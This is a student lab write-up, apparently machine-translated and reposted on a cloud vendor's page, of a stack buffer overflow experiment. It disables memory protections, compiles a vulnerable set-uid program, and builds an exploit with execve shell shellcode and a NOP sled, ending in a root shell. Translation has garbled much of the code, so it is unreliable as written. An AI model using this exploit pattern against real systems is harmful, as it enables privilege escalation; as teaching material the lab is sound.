20165303 Buffer Overflow Vulnerability Experiment Blog

Source: Internet
Author: User

    • Enter the command to install some packages for compiling 32-bit C programs

$ sudo apt-get update

$ sudo apt-get install-y lib32z1 libc6-dev-i386

$ sudo apt-get install-y Lib32readline-gplv2-dev


    • In Ubuntu and some other Linux systems, the initial address of random heap (heap) and stack (stack) is randomized using address space, which makes it difficult to guess the exact memory address, and guessing the memory address is the key to the buffer overflow attack. So in this experiment, we use the following command to turn off this feature:

    • In addition, in order to further protect against buffer overflow attacks and other attacks using shell programs, many shell programs automatically abandon their privileges when called. Therefore, even if you can trick a set-uid program into invoking a shell, you cannot maintain root privileges in the shell, which is implemented in/bin/bash.

In a Linux system,/bin/sh is actually a symbolic link to/bin/bash or/bin/dash. To reproduce the situation before this protective measure was implemented, we used another shell program (zsh) instead of/bin/bash. The following instructions describe how to set up the ZSH program:

$ sudo su

$ cd/bin

$ rm sh

$ ln-s zsh sh

$ exit

    • Enter the command "linux32" into the 32-bit Linux environment. At this point you will find that the command line is not as good as it is, such as not being tab-complete, and typing "/bin/bash" Using bash:

    • Create a new STACK.C file in the/tmp directory:

$ cd/tmp
$ VI stack.c
Press the I key to switch to insert mode, and then enter the following:

/* STACK.C */

/* This program has a buffer overflow vulnerability. /
/
Our task was to exploit this vulnerability */

Include <stdlib.h>include <stdio.h>include <string.h>

int BOF (char *str)
{
Char buffer[12];

/* The following statement has a buffer overflow problem */ strcpy(buffer, str);return 1;

}

int main (int argc, char **argv)
{
Char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;

}

The code lets you know that the program reads a file named "Badfile" and loads the contents of the file into "buffer".

Compile the program, and set the Set-uid. The command is as follows:

$ sudo su

$ gcc-m32-g-Z execstack-fno-stack-protector-o Stack stack.c

$ chmod u+s Stack

$ exit

    • Our goal is to attack the vulnerability program just now and gain root access through the attack.

Create a new exploit.c file in the/tmp directory and enter the following:

/* exploit.c /
/
A program This creates A file containing code for launching shell*/

Include <stdlib.h>include <stdio.h>include <string.h>

Char shellcode[] =
"\x31\xc0"//xorl%eax,%eax
"\x50"//PUSHL%eax
"\x68" "//sh"//PUSHL $0x68732f2f
"\x68" "/bin"//PUSHL $0x6e69622f
"\x89\xe3"//movl%esp,%ebx
"\x50"//PUSHL%eax
"\x53"//PUSHL%ebx
"\x89\xe1"//movl%esp,%ecx
"\x99"//CDQ
"\XB0\X0B"//movb $0x0b,%al
"\xcd\x80"//int $0x80
;

void Main (int argc, char **argv)
{
Char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);

}
Because the experimental environment can not paste files, we provide code download, you can run to see the effect:

wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c
Notice the above code, \x?? \x?? \x?? \x?? Need to add shellcode to the address stored in memory because the location can overwrite the return address just after an overflow occurs. and strcpy (Buffer+100,shellcode); This sentence again tells us that the shellcode is saved in buffer + 100 position. Below we will detail how to get the address we need to add.

Now we're going to get shellcode in-memory address, enter the command:

GDB debugging

$ GDB Stack

$ disass Main

    • Modify EXPLOIT.C file Now! Will \x?? \x?? \x?? \x?? Modify to \x84\xd4\xff\xff

Then, compile the EXPLOIT.C program:

$ gcc-m32-o Exploit exploit.c

    • Run the attack program exploit before running the vulnerability stack and observe the results:

WHOAMI is the input command, not the output result.

Visible, through the attack, get the root permission!

20165303 Buffer Overflow Vulnerability Experiment Blog

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.